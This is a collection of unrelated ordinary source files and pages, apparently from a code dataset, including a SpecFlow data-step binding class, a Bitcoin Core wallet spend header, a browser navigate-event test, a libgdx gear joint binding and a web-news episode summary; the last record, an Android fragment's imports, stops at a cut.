text:
// <copyright file="DataSteps.cs">
//    Copyright © 2013 Dan Piessens.  All rights reserved.
// </copyright>
namespace SpecBind
{
    using System;
    using System.Collections.Generic;
    using System.Linq;

    using SpecBind.ActionPipeline;
    using SpecBind.Actions;
    using SpecBind.Helpers;
    using SpecBind.Pages;

    using TechTalk.SpecFlow;
    using TechTalk.SpecFlow.Assist;

    /// <summary>
    /// Step bindings related to entering or validating data.
    /// </summary>
    [Binding]
    public class DataSteps : PageStepBase
    {
        // Step regex values - in constants because they are shared.
        private const string EnterDataInFieldsStepRegex = @"I enter data";
        private const string EnterDataInFieldStepRegex = @"I enter ""(.+)"" into (.+)";
        private const string ObserveDataStepRegex = @"I see";
        private const string ObserveComboBoxStepRegex = @"I see combo box (.+)";
        private const string ObserveListDataStepRegex = @"I see (.+) list ([A-Za-z ]+)";
        private const string ObserveListRowCountRegex = @"I see (.+) list contains (exactly|at least|at most) ([0-9]+) items?";
        private const string ClearDataInFieldsStepRegex = @"I clear data";

        // The following Regex items are for the given "past tense" form
        private const string GivenEnterDataInFieldsStepRegex = @"I entered data";
        private const string GivenEnterDataInFieldStepRegex = @"I enter ""(.+)"" into (.+)";
        private const string GivenObserveDataStepRegex = @"I saw";
        private const string GivenObserveListDataStepRegex = @"I saw (.+) list ([A-Za-z ]+)";
        private const string GivenObserveListRowCountRegex = @"I saw (.+) list contains (exactly|at least|at most) ([0-9]+) items?";
        private const string GivenClearDataInFieldsSetpRegex = @"I cleared data";

        private readonly IActionPipelineService actionPipelineService;

        /// <summary>
        /// Initializes a new instance of the <see cref="DataSteps"/> class.
        /// </summary>
        /// <param name="scenarioContext">The scenario context.</param>
        /// <param name="actionPipelineService">The action pipeline service.</param>
        public DataSteps(IScenarioContextHelper scenarioContext, IActionPipelineService actionPipelineService)
            : base(scenarioContext)
        {
            this.actionPipelineService = actionPipelineService;
        }

        /// <summary>
        /// A When step for entering data into fields.
        /// </summary>
        /// <param name="data">The field data.</param>
        [Given(GivenEnterDataInFieldsStepRegex)]
        [When(EnterDataInFieldsStepRegex)]
        [Then(EnterDataInFieldsStepRegex)]
        public void WhenIEnterDataInFieldsStep(Table data)
        {
            string fieldHeader = null;
            string valueHeader = null;

            if (data != null)
            {
                fieldHeader = data.Header.FirstOrDefault(h => h.NormalizedEquals("Field"));
                valueHeader = data.Header.FirstOrDefault(h => h.NormalizedEquals("Value"));
            }

            if (fieldHeader == null || valueHeader == null)
            {
                throw new ElementExecuteException("A table must be specified for this step with the columns 'Field' and 'Value'");
            }

            var page = this.GetPageFromContext();

            var results = new List<ActionResult>(data.RowCount);
            results.AddRange(from tableRow in data.Rows
                             let fieldName = tableRow[fieldHeader]
                             let fieldValue = tableRow[valueHeader]
                             select new EnterDataAction.EnterDataContext(fieldName.ToLookupKey(), fieldValue) into context
                             select this.actionPipelineService.PerformAction<EnterDataAction>(page, context));

            if (results.Any(r => !r.Success))
            {
                var errors = string.Join("; ", results.Where(r => r.Exception != null).Select(r => r.Exception.Message));
                Exception firstException = results.FirstOrDefault(r => r.Exception != null)?.Exception;
                throw new ElementExecuteException($"Errors occurred while entering data. Details: {errors}", firstException);
            }
        }

        /// <summary>
        /// A step that is invoked when you enter data into a single field.
        /// </summary>
        /// <param name="data">The data that needs to be entered.</param>
        /// <param name="fieldName">The field name.</param>
        [Given(GivenEnterDataInFieldStepRegex)]
        [When(EnterDataInFieldStepRegex)]
        [Then(EnterDataInFieldStepRegex)]
        public void WhenIEnterDataInFieldStep(string data, string fieldName)
        {
            var page = this.GetPageFromContext();
            var context = new EnterDataAction.EnterDataContext(fieldName.ToLookupKey(), data);

            this.actionPipelineService.PerformAction<EnterDataAction>(page, context).CheckResult();
        }

        /// <summary>
        /// A When step for entering data into fields.
        /// </summary>
        /// <param name="data">The field data.</param>
        [Given(GivenClearDataInFieldsSetpRegex)]
        [When(ClearDataInFieldsStepRegex)]
        [Then(ClearDataInFieldsStepRegex)]
        public void WhenIClearDataInFieldsStep(Table data)
        {
            string fieldHeader = null;

            if (data != null)
            {
                fieldHeader = data.Header.FirstOrDefault(h => h.NormalizedEquals("Field"));
            }

            if (fieldHeader == null)
            {
                throw new ElementExecuteException("A table must be specified for this step with the columns 'Field'");
            }

            var page = this.GetPageFromContext();

            var results = new List<ActionResult>(data.RowCount);
            results.AddRange(from tableRow in data.Rows
                             let fieldName = tableRow[fieldHeader]
                             select new ClearDataAction.ClearDataContext(fieldName.ToLookupKey()) into context
                             select this.actionPipelineService.PerformAction<ClearDataAction>(page, context));

            if (results.Any(r => !r.Success))
            {
                var errors = string.Join("; ", results.Where(r => r.Exception != null).Select(r => r.Exception.Message));
                throw new ElementExecuteException("Errors occurred while clearing data. Details: {0}", errors);
            }
        }

        /// <summary>
        /// A Then step
        /// </summary>
        /// <param name="data">The field data.</param>
        [Given(GivenObserveDataStepRegex)]
        [Then(ObserveDataStepRegex)]
        public void ThenISeeStep(Table data)
        {
            var validations = data.ToValidationTable();
            var page = this.GetPageFromContext();

            var context = new ValidateItemAction.ValidateItemContext(validations);
            this.actionPipelineService.PerformAction<ValidateItemAction>(page, context).CheckResult();
        }

        /// <summary>
        /// A Then step for validating items in a list.
        /// </summary>
        /// <param name="fieldName">Name of the field.</param>
        /// <param name="rule">The rule.</param>
        /// <param name="data">The field data.</param>
        /// <exception cref="ElementExecuteException">A table must be specified for this step with the columns 'Field', 'Rule' and 'Value'</exception>
        [Given(GivenObserveListDataStepRegex)]
        [Then(ObserveListDataStepRegex)]
        public void ThenISeeListStep(string fieldName, string rule, Table data)
        {
            if (data == null || data.RowCount == 0)
            {
                return;
            }

            ComparisonType comparisonType;
            switch (rule.ToLookupKey())
            {
                case "exists":
                case "contains":
                    comparisonType = ComparisonType.Contains;
                    break;

                case "doesnotexist":
                case "doesnotcontain":
                    comparisonType = ComparisonType.DoesNotContain;
                    break;

                case "startswith":
                    comparisonType = ComparisonType.StartsWith;
                    break;

                case "endswith":
                    comparisonType = ComparisonType.EndsWith;
                    break;
                case "equals":
                    comparisonType = ComparisonType.Equals;
                    break;
                default:
                    throw new InvalidOperationException(string.Format("Rule type '{0}' is not supported.", rule));
            }

            var page = this.GetPageFromContext();
            var validations = data.ToValidationTable();

            var context = new ValidateListAction.ValidateListContext(fieldName.ToLookupKey(), comparisonType, validations);
            this.actionPipelineService.PerformAction<ValidateListAction>(page, context).CheckResult();
        }

        /// <summary>
        /// A step that validates a list contains a specified number of rows.
        /// </summary>
        /// <param name="fieldName">The name of the field.</param>
        /// <param name="comparer">The comparer type.</param>
        /// <param name="resultCount">The result count to validate.</param>
        [Given(GivenObserveListRowCountRegex)]
        [Then(ObserveListRowCountRegex)]
        public void ThenISeeAListRowCountStep(string fieldName, string comparer, int resultCount)
        {
            var page = this.GetPageFromContext();

            NumericComparisonType comparisonType;
            switch (comparer)
            {
                case "at least":
                    comparisonType = NumericComparisonType.GreaterThanEquals;
                    break;
                case "at most":
                    comparisonType = NumericComparisonType.LessThanEquals;
                    break;
                default:
                    comparisonType = NumericComparisonType.Equals;
                    break;
            }

            var context = new ValidateListRowCountAction.ValidateListRowCountContext(fieldName.ToLookupKey(), comparisonType, resultCount);
            this.actionPipelineService.PerformAction<ValidateListRowCountAction>(page, context).CheckResult();
        }

        /// <summary>
        /// A step that observes wither a combo box contains a given set of items.
        /// </summary>
        /// <param name="fieldName">The name of the field.</param>
        /// <param name="comparisonType">The comparison type for evaluation.</param>
        /// <param name="table">Table of items for comparison.</param>
        [When(ObserveComboBoxStepRegex)]
        [Then(ObserveComboBoxStepRegex)]
        public void ThenISeeComboBoxContainsStep(string fieldName, string comparisonType, Table table)
        {
            if (table == null || table.Header.Count == 0)
            {
                return;
            }

            var hasName = table.ContainsColumn(nameof(ComboBoxItem.Text));
            var hasValue = table.ContainsColumn(nameof(ComboBoxItem.Value));

            if (!hasName && !hasValue)
            {
                throw new ElementExecuteException($"A table must be specified for this step with one or both columns: '{nameof(ComboBoxItem.Text)}' and/or '{nameof(ComboBoxItem.Value)}'");
            }

            var items = table.CreateSet<ComboBoxItem>().ToList();

            ComboComparisonType comparer;
            switch (comparisonType)
            {
                case "does not contain":
                    comparer = ComboComparisonType.DoesNotContain;
                    break;
                case "contains exactly":
                    comparer = ComboComparisonType.ContainsExactly;
                    break;
                default:
                    comparer = ComboComparisonType.Contains;
                    break;
            }

            var context = new ValidateComboBoxAction.ValidateComboBoxContext(fieldName.ToLookupKey(), comparer, items, hasName, hasValue);

            var page = this.GetPageFromContext();
            this.actionPipelineService.PerformAction<ValidateComboBoxAction>(page, context).CheckResult();
        }
    }
}


text:
require 'test_helper'

class ExpenseFormTest < ActionDispatch::IntegrationTest
  test 'the page loads' do
    visit '/'
    assert page.has_selector?('[data-js="expenses"]')
    assert page.has_content?('Loading...')
  end

  # test 'creating a new task' do
  #   name = Faker::Name.name
  #   current_rate = Faker::Number.number(1)
  #   start = DateTime.now.to_s(:db)
  #   stop = (DateTime.now + 2.hours).to_s(:db)
  #
  #   js do
  #     visit '/'
  #
  #     fill_in 'Name', with: name
  #     fill_in 'Current Rate', with: current_rate
  #     fill_in 'Start', with: start
  #     fill_in 'Stop', with: stop
  #     click_on 'Submit'
  #
  #     within 'table' do
  #       assert page.has_content?(name)
  #       assert page.has_content?(current_rate)
  #       assert page.has_content?(DateTime.parse(start).try(:strftime, '%D %r'))
  #       assert page.has_content?(DateTime.parse(stop).try(:strftime, '%D %r'))
  #     end
  #   end
  # end
end

redpajama_set_name: RedPajamaGithub


text:
<!doctype html>
<script src="/resources/testharness.js"></script>
<script src="/resources/testharnessreport.js"></script>
<iframe id="iframe" name="i" src="/common/blank.html"></iframe>
<form id="form" method="post" action="foo.html" target="i"></form>
<script>
async_test(t => {
  window.onload = t.step_func(() => {
    appHistory.onnavigate = t.unreached_func("onnavigate should not have fired in source window");

    iframe.contentWindow.appHistory.onnavigate = t.step_func_done(e => {
      assert_equals(e.navigationType, "push");
      assert_true(e.cancelable);
      assert_true(e.canTransition);
      assert_false(e.userInitiated);
      assert_false(e.hashChange);
      assert_equals(new URL(e.destination.url).pathname,
                    "/app-history/navigate-event/foo.html");
      assert_false(e.destination.sameDocument);
      assert_equals(e.destination.key, null);
      assert_equals(e.destination.id, null);
      assert_equals(e.destination.index, -1);
      assert_not_equals(e.formData, null);
    });
    form.submit();
  });
}, "<form> submission with a target fires navigate event in target window but not source");
</script>


text:
namespace net {
namespace test {

// static
bool QuicReceivedPacketManagerPeer::DontWaitForPacketsBefore(
    QuicReceivedPacketManager* received_packet_manager,
    QuicPacketNumber least_unacked) {
  return received_packet_manager->DontWaitForPacketsBefore(least_unacked);
}

}  // namespace test
}  // namespace net


text:
from game.pythonapi.menu import PyMenu
from other import Util
import os

def help(path):
    file_list = os.listdir(path)
    for name in file_list:
        url = path + '/' + name
        if os.path.isfile(url) and name.endswith('.py'):
            f = open(url, 'r')
            message = f.readline()
            if message.startswith('#@help:'):
                message = message[7:]
                if message.endswith('\n'):
                    message = message[:len(message)-1]
                PyMenu.write(screen, message)
        elif os.path.isdir(url):
            help(url)

help(Util.RESOURCES.getPath() + '/python/menu')


text:
// Copyright (c) 2021 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#ifndef BITCOIN_WALLET_SPEND_H
#define BITCOIN_WALLET_SPEND_H

#include <consensus/amount.h>
#include <policy/fees.h> // for FeeCalculation
#include <util/result.h>
#include <wallet/coinselection.h>
#include <wallet/transaction.h>
#include <wallet/wallet.h>

#include <optional>

namespace wallet {
/** Get the marginal bytes if spending the specified output from this transaction.
 * Use CoinControl to determine whether to expect signature grinding when calculating the size of the input spend. */
int CalculateMaximumSignedInputSize(const CTxOut& txout, const CWallet* pwallet, const CCoinControl* coin_control = nullptr);
int CalculateMaximumSignedInputSize(const CTxOut& txout, const COutPoint outpoint, const SigningProvider* pwallet, const CCoinControl* coin_control = nullptr);
struct TxSize {
    int64_t vsize{-1};
    int64_t weight{-1};
};

/** Calculate the size of the transaction using CoinControl to determine
 * whether to expect signature grinding when calculating the size of the input spend. */
TxSize CalculateMaximumSignedTxSize(const CTransaction& tx, const CWallet* wallet, const std::vector<CTxOut>& txouts, const CCoinControl* coin_control = nullptr);
TxSize CalculateMaximumSignedTxSize(const CTransaction& tx, const CWallet* wallet, const CCoinControl* coin_control = nullptr) EXCLUSIVE_LOCKS_REQUIRED(wallet->cs_wallet);

/**
 * COutputs available for spending, stored by OutputType.
 * This struct is really just a wrapper around OutputType vectors with a convenient
 * method for concatenating and returning all COutputs as one vector.
 *
 * Size(), Clear(), Erase(), Shuffle(), and Add() methods are implemented to
 * allow easy interaction with the struct.
 */
struct CoinsResult {
    std::map<OutputType, std::vector<COutput>> coins;

    /** Concatenate and return all COutputs as one vector */
    std::vector<COutput> All() const;

    /** The following methods are provided so that CoinsResult can mimic a vector,
     * i.e., methods can work with individual OutputType vectors or on the entire object */
    size_t Size() const;
    void Clear();
    void Erase(std::set<COutPoint>& preset_coins);
    void Shuffle(FastRandomContext& rng_fast);
    void Add(OutputType type, const COutput& out);

    /** Sum of all available coins */
    CAmount total_amount{0};
};

struct CoinFilterParams {
    // Outputs below the minimum amount will not get selected
    CAmount min_amount{1};
    // Outputs above the maximum amount will not get selected
    CAmount max_amount{MAX_MONEY};
    // Return outputs until the minimum sum amount is covered
    CAmount min_sum_amount{MAX_MONEY};
    // Maximum number of outputs that can be returned
    uint64_t max_count{0};
    // By default, return only spendable outputs
    bool only_spendable{true};
    // By default, do not include immature coinbase outputs
    bool include_immature_coinbase{false};
    bool cc_format{false};
};

/**
 * Populate the CoinsResult struct with vectors of available COutputs, organized by OutputType.
 */
CoinsResult AvailableCoins(const CWallet& wallet,
                           const CCoinControl* coinControl = nullptr,
                           std::optional<CFeeRate> feerate = std::nullopt,
                           const CoinFilterParams& params = {}) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

/**
 * Wrapper function for AvailableCoins which skips the `feerate` and `CoinFilterParams::only_spendable` parameters. Use this function
 * to list all available coins (e.g. listunspent RPC) while not intending to fund a transaction.
 */
CoinsResult AvailableCoinsListUnspent(const CWallet& wallet, const CCoinControl* coinControl = nullptr, CoinFilterParams params = {}) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

CAmount GetAvailableBalance(const CWallet& wallet, const CCoinControl* coinControl = nullptr);

/**
 * Find non-change parent output.
 */
const CTxOut& FindNonChangeParentOutput(const CWallet& wallet, const CTransaction& tx, int output) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);
const CTxOut& FindNonChangeParentOutput(const CWallet& wallet, const COutPoint& outpoint) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

/**
 * Return list of available coins and locked coins grouped by non-change output address.
 */
std::map<CTxDestination, std::vector<COutput>> ListCoins(const CWallet& wallet) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

std::vector<OutputGroup> GroupOutputs(const CWallet& wallet, const std::vector<COutput>& outputs, const CoinSelectionParams& coin_sel_params, const CoinEligibilityFilter& filter, bool positive_only);
/**
 * Attempt to find a valid input set that preserves privacy by not mixing OutputTypes.
 * `ChooseSelectionResult()` will be called on each OutputType individually and the best
 * the solution (according to the waste metric) will be chosen. If a valid input cannot be found from any
 * single OutputType, fallback to running `ChooseSelectionResult()` over all available coins.
 *
 * param@[in]  wallet                    The wallet which provides solving data for the coins
 * param@[in]  nTargetValue              The target value
 * param@[in]  eligilibity_filter        A filter containing rules for which coins are allowed to be included in this selection
 * param@[in]  available_coins           The struct of coins, organized by OutputType, available for selection prior to filtering
 * param@[in]  coin_selection_params     Parameters for the coin selection
 * param@[in]  allow_mixed_output_types  Relax restriction that SelectionResults must be of the same OutputType
 * returns                               If successful, a SelectionResult containing the input set
 *                                       If failed, a nullopt
 */
std::optional<SelectionResult> AttemptSelection(const CWallet& wallet, const CAmount& nTargetValue, const CoinEligibilityFilter& eligibility_filter, const CoinsResult& available_coins,
                        const CoinSelectionParams& coin_selection_params, bool allow_mixed_output_types);

/**
 * Attempt to find a valid input set that meets the provided eligibility filter and target.
 * Multiple coin selection algorithms will be run and the input set that produces the least waste
 * (according to the waste metric) will be chosen.
 *
 * param@[in]  wallet                    The wallet which provides solving data for the coins
 * param@[in]  nTargetValue              The target value
 * param@[in]  eligilibity_filter        A filter containing rules for which coins are allowed to be included in this selection
 * param@[in]  available_coins           The struct of coins, organized by OutputType, available for selection prior to filtering
 * param@[in]  coin_selection_params     Parameters for the coin selection
 * returns                               If successful, a SelectionResult containing the input set
 *                                       If failed, a nullopt
 */
std::optional<SelectionResult> ChooseSelectionResult(const CWallet& wallet, const CAmount& nTargetValue, const CoinEligibilityFilter& eligibility_filter, const std::vector<COutput>& available_coins,
                        const CoinSelectionParams& coin_selection_params);

// User manually selected inputs that must be part of the transaction
struct PreSelectedInputs
{
    std::set<COutput> coins;
    // If subtract fee from outputs is disabled, the 'total_amount'
    // will be the sum of each output effective value
    // instead of the sum of the outputs amount
    CAmount total_amount{0};

    void Insert(const COutput& output, bool subtract_fee_outputs)
    {
        if (subtract_fee_outputs) {
            total_amount += output.txout.nValue;
        } else {
            total_amount += output.GetEffectiveValue();
        }
        coins.insert(output);
    }
};

/**
 * Fetch and validate coin control selected inputs.
 * Coins could be internal (from the wallet) or external.
*/
util::Result<PreSelectedInputs> FetchSelectedInputs(const CWallet& wallet, const CCoinControl& coin_control,
                                                    const CoinSelectionParams& coin_selection_params) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

/**
 * Select a set of coins such that nTargetValue is met; never select unconfirmed coins if they are not ours
 * param@[in]   wallet                 The wallet which provides data necessary to spend the selected coins
 * param@[in]   available_coins        The struct of coins, organized by OutputType, available for selection prior to filtering
 * param@[in]   nTargetValue           The target value
 * param@[in]   coin_selection_params  Parameters for this coin selection such as feerates, whether to avoid partial spends,
 *                                     and whether to subtract the fee from the outputs.
 * returns                             If successful, a SelectionResult containing the selected coins
 *                                     If failed, a nullopt.
 */
std::optional<SelectionResult> AutomaticCoinSelection(const CWallet& wallet, CoinsResult& available_coins, const CAmount& nTargetValue, const CCoinControl& coin_control,
                 const CoinSelectionParams& coin_selection_params) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

/**
 * Select all coins from coin_control, and if coin_control 'm_allow_other_inputs=true', call 'AutomaticCoinSelection' to
 * select a set of coins such that nTargetValue - pre_set_inputs.total_amount is met.
 */
std::optional<SelectionResult> SelectCoins(const CWallet& wallet, CoinsResult& available_coins, const PreSelectedInputs& pre_set_inputs,
                                           const CAmount& nTargetValue, const CCoinControl& coin_control,
                                           const CoinSelectionParams& coin_selection_params) EXCLUSIVE_LOCKS_REQUIRED(wallet.cs_wallet);

struct CreatedTransactionResult
{
    CTransactionRef tx;
    CAmount fee;
    FeeCalculation fee_calc;
    int change_pos;

    CreatedTransactionResult(CTransactionRef _tx, CAmount _fee, int _change_pos, const FeeCalculation& _fee_calc)
        : tx(_tx), fee(_fee), fee_calc(_fee_calc), change_pos(_change_pos) {}
};

/**
 * Create a new transaction paying the recipients with a set of coins
 * selected by SelectCoins(); Also create the change output, when needed
 * @note passing change_pos as -1 will result in setting a random position
 */
util::Result<CreatedTransactionResult> CreateTransaction(CWallet& wallet, const std::vector<CRecipient>& vecSend, int change_pos, const CCoinControl& coin_control, bool sign = true);

/**
 * Insert additional inputs into the transaction by
 * calling CreateTransaction();
 */
bool FundTransaction(CWallet& wallet, CMutableTransaction& tx, CAmount& nFeeRet, int& nChangePosInOut, bilingual_str& error, bool lockUnspents, const std::set<int>& setSubtractFeeFromOutputs, CCoinControl);
} // namespace wallet

#endif // BITCOIN_WALLET_SPEND_H


text:
<?php

class ListReportDocWriter {

	public $data = array();

	static public $columnHeaders = array('Manager','State','Site address','Builder','Distributor','Rebate');

	static public $columns = array(
		'Manager' => 'manager_name',
		'State'	=> 'state',
		'Site address' => 'site_address',
		'Builder' => 'builder',
		'Distributor' => 'distributor',
		'Rebate' => 'rebate_percentage'
	);

	public $xlsData = false;

	public function __construct($data) {
		$this->data = $data;
	}

	public function write() {

		$content = "
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF8\">

Sales report

";
		foreach (self::$columnHeaders as $columnNumber => $columnHeader) {
			$content .= "" . $columnHeader . "	";
		}

		$content .= "
";

		foreach ($this->data as $rowData) {
			$content .= "
";
			foreach (self::$columnHeaders as $columnNumber => $columnHeader) {

				if (self::$columns[$columnHeader]) {
					$columnKey = self::$columns[$columnHeader];
					$value = $rowData[$columnKey];
				}
				else {
					$value = '';
				}
				$content .= "" . $value . "	";
			}
			$content .= "
";
		}
		$content .= "

";
		return $content;
	}

}


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>service.calc.abstract package — service 1.0 documentation</title>

    <link rel="stylesheet" href="_static/default.css" type="text/css" />
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />

    <link rel="top" title="service 1.0 documentation" href="index.html" />

Navigation

          index

          modules |

service 1.0 documentation »

service.calc.abstract package¶

Submodules¶

service.calc.abstract.Client module¶

class <tt class="descclassname">service.calc.abstract.Client.</tt><tt class="descname">Client</tt>[source]¶

Bases: <tt class="xref py py-class docutils literal">builtins.object</tt>

<tt class="descname">calculate</tt><big>(</big><big>)</big>[source]¶

<col class="field-name" />
<col class="field-body" />

Returns:	the ShakeMap

Module contents¶

Table Of Contents

service.calc.abstract package

Submodules

service.calc.abstract.Client module

Module contents

This Page

Show Source

Quick search

    <form class="search" action="search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>

    Enter search terms or a module, class or function name.

Navigation

          index

          modules |

service 1.0 documentation »

        © Copyright 2014, service.
      Created using Sphinx 1.2.3.


text:
package org.kie.workbench.common.forms.processing.engine.handling;

/**
 * Component that validates the form state
 */
public interface FormValidator<MODEL> {

    public static final String NESTED_PROPERTY_SEPARATOR = "_";

    /**
     * Sets the {@link FormFieldProvider} for the given rendered form
     */
    void setFormFieldProvider(FormFieldProvider formFieldProvider);

    /**
     * Validates the given form model
     * @return True or false depending on the validations
     */
    boolean validate(MODEL model);

    /**
     * Validates a specific field value.
     * @return True or false depending on the validation
     */
    boolean validate(String fieldName,
                     MODEL model);
}


text:
id: episode-6
showid: lazyweb
class: lazyweb
layout: shows/single-video
collection: lazyweb-2015
title: "Episode 6"
description: "Ember ships Glimmer into Canary, Senongo Akpem explores non-linear narratives, Web Pages break the 2mb limit, Firefox 38 is released, Chrome gets a developer channel on Android, and programmatic copy/paste is coming to Firefox."
published: true
showYoutubeID: s12cZ7UAKFQ

date: 2015-05-19 00:00:00
article:
  written_on: 2015-05-19
  updated_on: 2015-05-19

---

# In this Week's Episode

Ember ships Glimmer into Canary, Senongo Akpem explores non-linear narratives, Web Pages break the 2mb limit, Firefox 38 is released, Chrome gets a developer channel on Android, and programmatic copy/paste is coming to Firefox.

## GLIMMER OF HOPE
Ember's new rendering engine, Glimmer, is now in Canary. Inspired by React's Virtual DOM, Glimmer attempts to improve upon things by only diffing bindings instead of the entire DOM. According to the team, this dramatically improves performance on benchmarks like dbmonster. You can follow this guide to learn more about migrating to Glimmer and Ember 2.0.

[http://emberjs.com/blog/2015/05/05/glimmer-merging.html](http://emberjs.com/blog/2015/05/05/glimmer-merging.html)

[http://emberjs.com/blog/2015/05/10/run-up-to-two-oh.html](http://emberjs.com/blog/2015/05/10/run-up-to-two-oh.html)

[https://www.youtube.com/watch?v=o12-90Dm-Qs](https://www.youtube.com/watch?v=o12-90Dm-Qs)

## FOLLOWING THREADS
Let's explore storytelling for the collective intelligence. Senongo Akpem, creator of the Pixel Fable project, describes the process of creating non-linear stories utilizing modern technology. He codifies and demonstrates several examples including extra narratives, like An Idea Lives On, parallel narratives, featured in project Moon, and micro narratives, illustrated by his own site, Lost Nigeria.

[https://www.youtube.com/watch?v=t7GGZwt5yVU](https://www.youtube.com/watch?v=t7GGZwt5yVU)

[http://www.pixelfable.com/](http://www.pixelfable.com/)

[http://anidealiveson.org/2014](http://anidealiveson.org/2014)

[http://unahistoriaquedalavuelta.com/en/](http://unahistoriaquedalavuelta.com/en/)

[http://lostnigeria.com/air-travel/](http://lostnigeria.com/air-travel/)

## BREAKING THE SCALES
Do websites need a diet? Scott Jehl tweets that the avg. webpage now weighs over 2mb, with 62% of that coming from images. Projects like what does my site cost demonstrate, this can translate to serious money for users. New standards like picture and srcset can help combat the problem, but it's up to developers to start leveraging them.

[https://twitter.com/scottjehl/status/595827049136267266](https://twitter.com/scottjehl/status/595827049136267266)

[http://httparchive.org/interesting.php?a=All&l=Apr%2015%202015#bytesperpage](http://httparchive.org/interesting.php?a=All&l=Apr%2015%202015#bytesperpage)

[http://whatdoesmysitecost.com/test/150416_09_71875497c6009dd92716f8d9aa5f3af6](http://whatdoesmysitecost.com/test/150416_09_71875497c6009dd92716f8d9aa5f3af6)

[http://www.html5rocks.com/en/tutorials/responsive/picture-element/](http://www.html5rocks.com/en/tutorials/responsive/picture-element/)

[https://www.chromestatus.com/metrics/feature/popularity#Picture](https://www.chromestatus.com/metrics/feature/popularity#Picture)

## FIREFOX 38 RELEASED
Firefox 38 hits stable this past week and with it comes a number of improvements. Best highlighted on the Mozilla Hacks blog, the new release contains support for both picture and img srcset, web sockets in web workers, BroadcastChannel to post message to all open tabs, and some bonus devtools goodies. You can check out the developer release notes over on MDN.

[https://www.mozilla.org/en-US/firefox/38.0/releasenotes/](https://www.mozilla.org/en-US/firefox/38.0/releasenotes/)

[https://hacks.mozilla.org/2015/05/trainspotting-firefox-38/](https://hacks.mozilla.org/2015/05/trainspotting-firefox-38/)

[http://www.smashingmagazine.com/2014/05/14/responsive-images-done-right-guide-picture-srcset/](http://www.smashingmagazine.com/2014/05/14/responsive-images-done-right-guide-picture-srcset/)

[https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)

[https://developer.mozilla.org/en-US/Firefox/Releases/38](https://developer.mozilla.org/en-US/Firefox/Releases/38)

## DEV ON ANDROID
Chrome on Android now has a Dev channel. Detailed on the Chromium blog, the new dev channel allows developers to test their sites using an early version of Chrome to find bugs and try out cutting edge features. The new channel is updated at least every week and is already available on the Google Play Store.

[https://twitter.com/addyosmani/status/593461414922170369](https://twitter.com/addyosmani/status/593461414922170369)

[http://blog.chromium.org/2015/04/dev-channel-for-chrome-on-android.html](http://blog.chromium.org/2015/04/dev-channel-for-chrome-on-android.html)

[https://play.google.com/store/apps/details?id=com.chrome.dev](https://play.google.com/store/apps/details?id=com.chrome.dev)

## COPY PASTA
Programmatic copy and paste is coming to Firefox. A recent intent to implement and ship thread indicates that Firefox will add support for copy and paste via the execCommand method in response to a user action. Similar behavior is already supported in Chrome 43, IE 10, and Opera 29. To learn more about copy and paste you can check out this article on HTML 5 Rocks.

https://bugzilla.mozilla.org/show_bug.cgi?id=1012662

https://groups.google.com/forum/#!msg/mozilla.dev.platform/oWhmLMvGAD0/3eXWSRjJAZsJ

http://updates.html5rocks.com/2015/04/cut-and-copy-commands

Let us know what you think on Twitter #LazyWebShow

For more news on the Web, check out these resources:
JavaScript Weekly: [http://javascriptweekly.com/](http://javascriptweekly.com/)

Open Web Platform Daily: [http://webplatformdaily.org/](http://webplatformdaily.org/)

HTML5 Weekly: [http://html5weekly.com/](http://html5weekly.com/)

Subscribe to the Google Developers channel at: [http://goo.gl/mQyv5L](http://goo.gl/mQyv5L)


text:
package com.badlogic.gdx.physics.box2d.joints;

import com.badlogic.gdx.physics.box2d.Joint;
import com.badlogic.gdx.physics.box2d.World;

/** A gear joint is used to connect two joints together. Either joint can be a revolute or prismatic joint. You specify a gear
 * ratio to bind the motions together: coordinate1 + ratio * coordinate2 = constant The ratio can be negative or positive. If one
 * joint is a revolute joint and the other joint is a prismatic joint, then the ratio will have units of length or units of
 * 1/length.
 * @warning The revolute and prismatic joints must be attached to fixed bodies (which must be body1 on those joints). */
public class GearJoint extends Joint {
	/*JNI
#include <Box2D/Box2D.h>
	 */

	public GearJoint (World world, long addr) {
		super(world, addr);
	}

	/** Set/Get the gear ratio. */
	public void setRatio (float ratio) {
		jniSetRatio(addr, ratio);
	}

	private native void jniSetRatio (long addr, float ratio); /*
		b2GearJoint* joint =  (b2GearJoint*)addr;
		joint->SetRatio( ratio );
	*/

	/** Set/Get the gear ratio. */
	public float getRatio () {
		return jniGetRatio(addr);
	}

	private native float jniGetRatio (long addr); /*
		b2GearJoint* joint =  (b2GearJoint*)addr;
		return joint->GetRatio();
	*/
}


text:
<?php

namespace Zend\Math\Exception;

/**
 * Invalid argument exception
 */
class DomainException extends \DomainException implements ExceptionInterface
{}


text:
package jxpl.scnu.curb.homePage.scholat;

import android.app.Activity;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.constraint.ConstraintLayout;
import android.support.design.widget.Snackbar;
import android.support.v4.app.Fragment;
import android.support.v4.widget.SwipeRefreshLayout;
import android.support.v7.widget.DividerItemDecoration;
import android.support.v7.widget.LinearLayoutManager;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;

import java.util.LinkedList;
import java.util.List;

import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.Unbinder;
import jxpl.scnu.curb.R;
import jxpl.scnu.curb.utils.ScrollChildSwipeRefreshLayout;
import jxpl.scnu.curb.utils.autoFitRecycler.AutoFitRecyclerView;
